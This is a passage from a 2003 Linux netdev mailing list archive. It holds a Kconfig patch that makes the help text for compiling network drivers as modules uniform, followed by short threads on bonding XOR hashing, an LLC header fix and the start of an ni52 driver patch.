This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called smc-ultra. If you want to compile it as - a module, say M here and read as - well as . + To compile this driver as a module, say M here: the module + will be called smc-ultra. config ULTRA32 tristate "SMC Ultra32 EISA support" @@ -844,11 +766,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called smc-ultra32. If you want to compile it - as a module, say M here and read as - well as . + To compile this driver as a module, say M here: the module + will be called smc-ultra32. config SMC9194 tristate "SMC 9194 support" @@ -861,11 +780,8 @@ and the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called smc9194. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called smc9194. config NET_VENDOR_RACAL bool "Racal-Interlan (Micom) NI cards" @@ -889,11 +805,8 @@ . Note that this is still experimental code. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ni5010. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ni5010. config NI52 tristate "NI5210 support" @@ -903,11 +816,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ni52. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ni52. config NI65 tristate "NI6510 support" @@ -917,11 +827,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ni65. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ni65. source "drivers/net/tulip/Kconfig" @@ -933,12 +840,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - If you want to compile it as a module, say M here and read - as well as - . The module will be - called at1700. + To compile this driver as a module, say M here: the module + will be called at1700. config DEPCA tristate "DEPCA, DE10x, DE200, DE201, DE202, DE422 support" @@ -949,12 +852,8 @@ as well as . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called - depca. + To compile this driver as a module, say M here: the module + will be called depca. config HP100 tristate "HP 10/100VG PCLAN (ISA, EISA, PCI) support" @@ -964,11 +863,8 @@ the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called hp100. + To compile this driver as a module, say M here: the module + will be called hp100. config NET_ISA bool "Other ISA cards" @@ -995,11 +891,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called e2100. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called e2100. config EWRK3 tristate "EtherWORKS 3 (DE203, DE204, DE205) support" @@ -1011,11 +904,8 @@ well as the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called ewrk3. + To compile this driver as a module, say M here: the module + will be called ewrk3. config EEXPRESS tristate "EtherExpress 16 support" @@ -1028,11 +918,8 @@ because the driver was very unreliable. We now have a new driver that should do better. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called eexpress. + To compile this driver as a module, say M here: the module + will be called eexpress. config EEXPRESS_PRO tristate "EtherExpressPro support/EtherExpress 10 (i82595) support" @@ -1044,11 +931,8 @@ driver. Please read the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called eepro. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called eepro. config FMV18X tristate "FMV-181/182/183/184 support (OBSOLETE)" @@ -1061,11 +945,8 @@ If you use an FMV-183 or FMV-184 and it is not working, you may need to disable Plug & Play mode of the card. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called fmv18x. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called fmv18x. config HPLAN_PLUS tristate "HP PCLAN+ (27247B and 27252A) support" @@ -1075,11 +956,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called hp-plus. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called hp-plus. config HPLAN tristate "HP PCLAN (27245 and other 27xxx series) support" @@ -1089,11 +967,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called hp. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called hp. config LP486E tristate "LP486E on board Ethernet" @@ -1111,11 +986,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called eth16i. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called eth16i. config NE2000 tristate "NE2000/NE1000 support" @@ -1132,11 +1004,8 @@ laptops), say N here and Y to "NE/2 (ne2000 MCA version) support", below. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ne. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ne. config ZNET tristate "Zenith Z-Note support (EXPERIMENTAL)" @@ -1156,11 +1025,8 @@ is for you, read the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called seeq8005. + To compile this driver as a module, say M here: the module + will be called seeq8005. config SK_G16 tristate "SK_G16 support (OBSOLETE)" @@ -1230,11 +1096,8 @@ of different type hasn't been tested with this driver. Say Y if you have one of these Ethernet adapters. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module is called sk_mca. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called sk_mca. config NE2_MCA tristate "NE/2 (ne2000 MCA version) support" @@ -1244,11 +1107,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ne2. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ne2. config IBMLANA tristate "IBM LAN Adapter/A support" @@ -1257,14 +1117,17 @@ This is a Micro Channel Ethernet adapter. You need to set CONFIG_MCA to use this driver. It is both available as an in-kernel driver and as a module ( = code which can be inserted in and removed - from the running kernel whenever you want). If you want to compile - it as a module, say M here and read - as well as . The only - currently supported card is the IBM LAN Adapter/A for Ethernet. It - will both support 16K and 32K memory windows, however a 32K window - gives a better security against packet losses. Usage of multiple - boards with this driver should be possible, but has not been tested - up to now due to lack of hardware. + from the running kernel whenever you want). + + To compile this driver as a module, say M here: the module + will be called ibmlana. + + The only currently supported card is the IBM LAN Adapter/A + for Ethernet. It will both support 16K and 32K memory + windows, however a 32K window gives a better security + against packet losses. Usage of multiple boards with this + driver should be possible, but has not been tested up to now + due to lack of hardware. config NET_PCI bool "EISA, VLB, PCI and on board controllers" @@ -1288,11 +1151,8 @@ answer Y here and read the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called pcnet32. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called pcnet32. config AMD8111_ETH tristate "AMD 8111 (new PCI lance) support" @@ -1302,11 +1162,8 @@ answer Y here and read the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called amd8111e. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called amd8111e. config ADAPTEC_STARFIRE tristate "Adaptec Starfire/DuraLAN support" @@ -1317,10 +1174,8 @@ Adaptec e.g. the ANA-6922A. The older 32 bit boards use the tulip driver. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called starfire. + To compile this driver as a module, say M here: the module + will be called starfire. config ADAPTEC_STARFIRE_NAPI bool "Use Rx Polling (NAPI) (EXPERIMENTAL)" @@ -1342,11 +1197,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ac3200. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ac3200. config APRICOT tristate "Apricot Xen-II on board Ethernet" @@ -1356,11 +1208,8 @@ read the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called apricot. + To compile this driver as a module, say M here: the module + will be called apricot. config B44 tristate "Broadcom 4400 ethernet support (EXPERIMENTAL)" @@ -1370,11 +1219,8 @@ read the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called b44. + To compile this driver as a module, say M here: the module + will be called b44. config CS89x0 tristate "CS89x0 support" @@ -1386,11 +1232,8 @@ as well as . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called cs89x. + To compile this driver as a module, say M here: the module + will be called cs89x. config TC35815 tristate "TOSHIBA TC35815 Ethernet support" @@ -1407,11 +1250,8 @@ . More specific information is contained in . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called dgrs. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called dgrs. config EEPRO100 tristate "EtherExpressPro/100 support (eepro100, original Becker driver)" @@ -1421,11 +1261,8 @@ card, say Y and read the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called eepro100. If you want to compile it as - a module, say M here and read as - well as . + To compile this driver as a module, say M here: the module + will be called eepro100. config EEPRO100_PIO @@ -1509,11 +1346,8 @@ More specific information on configuring the driver is in . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called e100. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called e100. config LNE390 tristate "Mylex EISA LNE390A/B support (EXPERIMENTAL)" @@ -1523,11 +1357,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called lne390. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called lne390. config FEALNX tristate "Myson MTD-8xx PCI Ethernet support" @@ -1562,11 +1393,8 @@ NetVin NV5000SC Via 86C926 SureCom NE34 Winbond Holtek HT80232 Holtek HT80229 - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ne2k-pci. If you want to compile it as - a module, say M here and read as - well as . + To compile this driver as a module, say M here: the module + will be called ne2k-pci. config NE3210 tristate "Novell/Eagle/Microdyne NE3210 EISA support (EXPERIMENTAL)" @@ -1577,11 +1405,8 @@ . Note that this driver will NOT WORK for NE3200 cards as they are completely different. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ne3210. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ne3210. config ES3210 tristate "Racal-Interlan EISA ES3210 support (EXPERIMENTAL)" @@ -1591,11 +1416,8 @@ the Ethernet-HOWTO, available from . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called es3210. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called es3210. config 8139CP tristate "RealTek RTL-8139 C+ PCI Fast Ethernet Adapter support (EXPERIMENTAL)" @@ -1606,10 +1428,8 @@ the Ethernet-HOWTO, available from . - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read Documentation/modules.txt. This is recommended. - The module will be called 8139cp. + To compile this driver as a module, say M here: the module + will be called 8139cp. config 8139TOO tristate "RealTek RTL-8139 PCI Fast Ethernet Adapter support" @@ -1621,10 +1441,8 @@ Ethernet-HOWTO, available from . - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called 8139too. + To compile this driver as a module, say M here: the module + will be called 8139too. config 8139TOO_PIO bool "Use PIO instead of MMIO" @@ -1680,10 +1498,8 @@ This driver also supports AMD 79C901 HomePNA so that you can use your phone line as a network cable. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called sis900. + To compile this driver as a module, say M here: the module + will be called sis900. config EPIC100 tristate "SMC EtherPower II" @@ -1725,11 +1541,8 @@ Compaq NetFlex and Olicom cards. Please read the file for more details. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called tlan. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called tlan. Please email feedback to torben.mathiasen@compaq.com. @@ -1740,11 +1553,8 @@ If you have a VIA "rhine" based network card (Rhine-I (3043) or Rhine-2 (VT86c100A)), say Y here. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called via-rhine. If you want to compile it as - a module, say M here and read as - well as . + To compile this driver as a module, say M here: the module + will be called via-rhine. config VIA_RHINE_MMIO bool "Use MMIO instead of PIO (EXPERIMENTAL)" @@ -1802,10 +1612,8 @@ said N to the "Parallel printer support", because the two drivers don't like each other. - If you want to compile this driver as a module however ( = code - which can be inserted in and removed from the running kernel - whenever you want), say M here and read - . The module will be called atp. + To compile this driver as a module, say M here: the module + will be called atp. config DE600 tristate "D-Link DE600 pocket adapter support" @@ -1819,11 +1627,8 @@ port and it is safe to compile the corresponding drivers into the kernel. - If you want to compile this driver as a module however ( = code - which can be inserted in and removed from the running kernel - whenever you want), say M here and read - . - The module will be called de600. + To compile this driver as a module, say M here: the module + will be called de600. config DE620 tristate "D-Link DE620 pocket adapter support" @@ -1837,11 +1642,8 @@ port and it is safe to compile the corresponding drivers into the kernel. - If you want to compile this driver as a module however ( = code - which can be inserted in and removed from the running kernel - whenever you want), say M here and read - . - The module will be called de620. + To compile this driver as a module, say M here: the module + will be called de620. config SGISEEQ tristate "SGI Seeq ethernet controller support" @@ -1900,10 +1702,8 @@ as well. To enable Jumbo Frames, add `mtu 9000' to your ifconfig line. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called acenic. + To compile this driver as a module, say M here: the module + will be called acenic. config ACENIC_OMIT_TIGON_I bool "Omit support for old Tigon I based AceNICs" @@ -1927,10 +1727,8 @@ D-Link DGE-550T Gigabit Ethernet Adapter. D-Link DL2000-based Gigabit Ethernet Adapter. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called dl2k. + To compile this driver as a module, say M here: the module + will be called dl2k. config E1000 tristate "Intel(R) PRO/1000 Gigabit Ethernet support" @@ -1971,11 +1769,8 @@ More specific information on configuring the driver is in . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called e1000. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called e1000. config E1000_NAPI bool "Use Rx Polling (NAPI)" @@ -1987,10 +1782,8 @@ help This driver supports MyriCOM Sbus gigabit Ethernet cards. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called myri_sbus. + To compile this driver as a module, say M here: the module + will be called myri_sbus. config NS83820 tristate "National Semiconduct DP83820 support" @@ -2010,11 +1803,8 @@ the Ethernet-HOWTO, available from . - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called hamachi. + To compile this driver as a module, say M here: the module + will be called hamachi. config YELLOWFIN tristate "Packet Engines Yellowfin Gigabit-NIC support (EXPERIMENTAL)" @@ -2026,10 +1816,8 @@ for more information about this driver in particular and Beowulf in general. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called yellowfin. + To compile this driver as a module, say M here: the module + will be called yellowfin. config R8169 tristate "Realtek 8169 gigabit ethernet support" @@ -2037,10 +1825,8 @@ ---help--- Say Y here if you have a Realtek 8169 PCI Gigabit Ethernet adapter. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called r8169. + To compile this driver as a module, say M here: the module + will be called r8169. config SIS190 tristate "SiS190 gigabit ethernet support (EXPERIMENTAL)" @@ -2048,10 +1834,8 @@ ---help--- Say Y here if you have a SiS 190 PCI Gigabit Ethernet adapter. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called sis190. + To compile this driver as a module, say M here: the module + will be called sis190. config SK98LIN tristate "Marvell Yukon Chipset / SysKonnect SK-98xx Support" @@ -2113,10 +1897,8 @@ Questions concerning this driver may be addressed to: linux@syskonnect.de - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read Documentation/modules.txt. This is recommended. - The module will be called sk98lin.o. + To compile this driver as a module, say M here: the module + will be called sk98lin. config CONFIG_SK98LIN_T1 bool "3Com 3C940/3C941 Gigabit Ethernet Adapter" @@ -2259,10 +2041,8 @@ help This driver supports Broadcom Tigon3 based gigabit Ethernet cards. - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called tg3. + To compile this driver as a module, say M here: the module + will be called tg3. endmenu @@ -2297,11 +2077,8 @@ More specific information on configuring the driver is in . - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called ixgb. If you want to compile it as a - module, say M here and read as well - as . + To compile this driver as a module, say M here: the module + will be called ixgb. config IXGB_NAPI bool "Use Rx Polling (NAPI) (EXPERIMENTAL)" @@ -2360,10 +2137,8 @@ Questions concerning this driver can be addressed to: linux@syskonnect.de - If you want to compile this driver as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read . This is - recommended. The module will be called skfp. + To compile this driver as a module, say M here: the module + will be called skfp. config HIPPI bool "HIPPI driver support (EXPERIMENTAL)" @@ -2384,11 +2159,8 @@ help Say Y here if this is your PCI HIPPI network card. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called rrunner. If you want to compile it as a - module, say M here and read . If - unsure, say N. + To compile this driver as a module, say M here: the module + will be called rrunner. config ROADRUNNER_LARGE_RINGS bool "Use large TX/RX rings (EXPERIMENTAL)" @@ -2431,11 +2203,8 @@ with the PLIP support in Linux versions 1.0.x. This option enlarges your kernel by about 8 KB. - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called plip. If unsure, say Y or M, in case you buy a laptop + To compile this driver as a module, say M here: the module + will be called plip. If unsure, say Y or M, in case you buy a laptop later. config PPP @@ -2463,14 +2232,8 @@ synchronous lines, you should say Y (or M) here and to "Support synchronous PPP", below. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - If you said Y to "Version information on all symbols" above, then - you cannot compile the PPP driver into the kernel; you can then only - compile it as a module. The module will be called ppp_generic. - If you want to compile it as a module, say M here and read - as well as - . + To compile this driver as a module, say M here: the module + will be called ppp_generic. config PPP_MULTILINK bool "PPP multilink support (EXPERIMENTAL)" @@ -2507,9 +2270,8 @@ a modem (not a synchronous or ISDN modem) to contact your ISP, you need this option. - This code is also available as a module (code which can be inserted - into and removed from the running kernel). If you want to compile - it as a module, say M here and read . + To compile this driver as a module, say M here: the module + will be called ppp_async. If unsure, say Y. @@ -2521,10 +2283,8 @@ (HDLC) tty devices, such as the SyncLink adapter. These devices are often used for high-speed leased lines like T1/E1. - This code is also available as a module (code which can be inserted - into and removed from the running kernel). If you want to compile - it as a module, say M here and read - . + To compile this driver as a module, say M here: the module + will be called ppp_sync_tty. config PPP_DEFLATE tristate "PPP Deflate compression" @@ -2537,10 +2297,8 @@ Deflate compression method as well for this to be useful. Even if they don't support it, it is safe to say Y here. - This code is also available as a module (code which can be inserted - into and removed from the running kernel). If you want to compile - it as a module, say M here and read - . + To compile this driver as a module, say M here: the module + will be called ppp_deflate. config PPP_BSDCOMP tristate "PPP BSD-Compress compression" @@ -2557,9 +2315,8 @@ above) is preferable to BSD-Compress, because it compresses better and is patent-free. - Note that the BSD compression code will always be compiled as a - module; it is called bsd_comp and will show up in the directory - modules once you have said "make modules". If unsure, say N. + To compile this driver as a module, say M here: the module + will be calledbsd_comp. config PPPOE tristate "PPP over Ethernet (EXPERIMENTAL)" @@ -2610,11 +2367,8 @@ ). SLIP support will enlarge your kernel by about 4 KB. If unsure, say N. - If you want to compile this as a module ( = code which can be - inserted in and removed from the running kernel whenever you want), - say M here and read as well as - . The module will be - called slip. + To compile this driver as a module, say M here: the module + will be called slip. config SLIP_COMPRESSED bool "CSLIP compressed headers" @@ -2674,10 +2428,8 @@ help Say Y here if you have a Fibre Channel adaptor of this kind. - The driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called iph5526. For general information about - modules read . + To compile this driver as a module, say M here: the module + will be called iph5526. config RCPCI tristate "Red Creek Hardware VPN (EXPERIMENTAL)" @@ -2686,10 +2438,8 @@ This is a driver for hardware which provides a Virtual Private Network (VPN). Say Y if you have it. - This code is also available as a module called rcpci ( = code - which can be inserted in and removed from the running kernel - whenever you want). If you want to compile it as a module, say M - here and read . + To compile this driver as a module, say M here: the module + will be called rcpci. config SHAPER tristate "Traffic Shaper (EXPERIMENTAL)" @@ -2709,11 +2459,8 @@ program, available from in the shaper package. - This driver is also available as a module ( = code which can be - inserted in and removed from the running kernel whenever you want). - The module will be called shaper. If you want to compile it as a - module, say M here and read . If - unsure, say N. + To compile this driver as a module, say M here: the module + will be called shaper. If unsure, say N. source "drivers/net/wan/Kconfig" From fubar@us.ibm.com Tue Sep 23 13:32:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 13:32:54 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NKWYFx008008 for ; Tue, 23 Sep 2003 13:32:41 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8NKVnEd638412; Tue, 23 Sep 2003 16:31:49 -0400 Received: from death.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8NKVj2G219624; Tue, 23 Sep 2003 16:31:46 -0400 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8NKVXNN011694; Tue, 23 Sep 2003 13:31:34 -0700 Message-Id: <200309232031.h8NKVXNN011694@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: shmulik.hen@intel.com cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: Question about the hash used in XOR mode In-Reply-To: Message from Shmulik Hen of "Sun, 21 Sep 2003 16:37:37 +0300." <200309211637.37136.shmulik.hen@intel.com> Date: Tue, 23 Sep 2003 13:31:32 -0700 From: Jay Vosburgh X-archive-position: 177 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 595 Lines: 19 >slave_no = (data->h_dest[5]^slave->dev->dev_addr[5]) % bond->slave_cnt; [...] >Is there a special meaning for XORing with a constant ? >Wouldn't it be the same is we did just: > slave_no = data->h_dest[5] % bond->slave_cnt; I asked Janice Girouard about this... The theory is to mimic the way Cisco etherchannel load balancing modes operate (in particular I think the "src-dst-mac" mode). The Cisco 6000 series switch (and maybe others) documentation shows the algorithm (in an example; it doesn't go into detail). -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From shemminger@osdl.org Tue Sep 23 13:57:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 13:57:55 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NKvUFx009943 for ; Tue, 23 Sep 2003 13:57:30 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NKso131446; Tue, 23 Sep 2003 13:56:50 -0700 Date: Tue, 23 Sep 2003 13:54:26 -0700 From: Stephen Hemminger To: Arnaldo Carvalho de Melo Cc: Mike Phillips , netdev@oss.sgi.com Subject: [PATCH] LLC -- get rid of warning Message-Id: <20030923135426.4f85b7fb.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 178 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 496 Lines: 14 In 2.6.0-test5 bk latest, if token ring is configured, then a warning is generated about a missing prototype for tr_source_route. diff -Nru a/net/llc/llc_output.c b/net/llc/llc_output.c --- a/net/llc/llc_output.c Tue Sep 23 12:56:04 2003 +++ b/net/llc/llc_output.c Tue Sep 23 12:56:04 2003 @@ -16,6 +16,7 @@ #include #include #include +#include #include #include #include From davem@pizda.ninka.net Tue Sep 23 14:11:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 14:12:22 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NLBvFx018816 for ; Tue, 23 Sep 2003 14:11:57 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id NAA02985; Tue, 23 Sep 2003 13:58:18 -0700 Date: Tue, 23 Sep 2003 13:58:18 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: acme@conectiva.com.br, mikep@linuxtr.net, netdev@oss.sgi.com Subject: Re: [PATCH] LLC -- get rid of warning Message-Id: <20030923135818.1224f6fe.davem@redhat.com> In-Reply-To: <20030923135426.4f85b7fb.shemminger@osdl.org> References: <20030923135426.4f85b7fb.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 179 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 235 Lines: 7 On Tue, 23 Sep 2003 13:54:26 -0700 Stephen Hemminger wrote: > In 2.6.0-test5 bk latest, if token ring is configured, then a warning is > generated about a missing prototype for tr_source_route. Applied, thanks. From shemminger@osdl.org Tue Sep 23 15:02:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:23 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2BFx022579 for ; Tue, 23 Sep 2003 15:02:12 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM26112133; Tue, 23 Sep 2003 15:02:06 -0700 Date: Tue, 23 Sep 2003 14:54:29 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (3/7) ni52 -- dynamic allocation Message-Id: <20030923145429.50743690.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 181 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 5830 Lines: 226 Originally from NE15-ni52 by Al Viro, updated to 2.6.0-test5 * switched ni52 to dynamic allocation * ni52: embedded ->priv * ni52: fixed clobbering of everything on autoprobe diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 12:57:52 2003 +++ b/drivers/net/Space.c Tue Sep 23 12:57:52 2003 @@ -70,7 +70,7 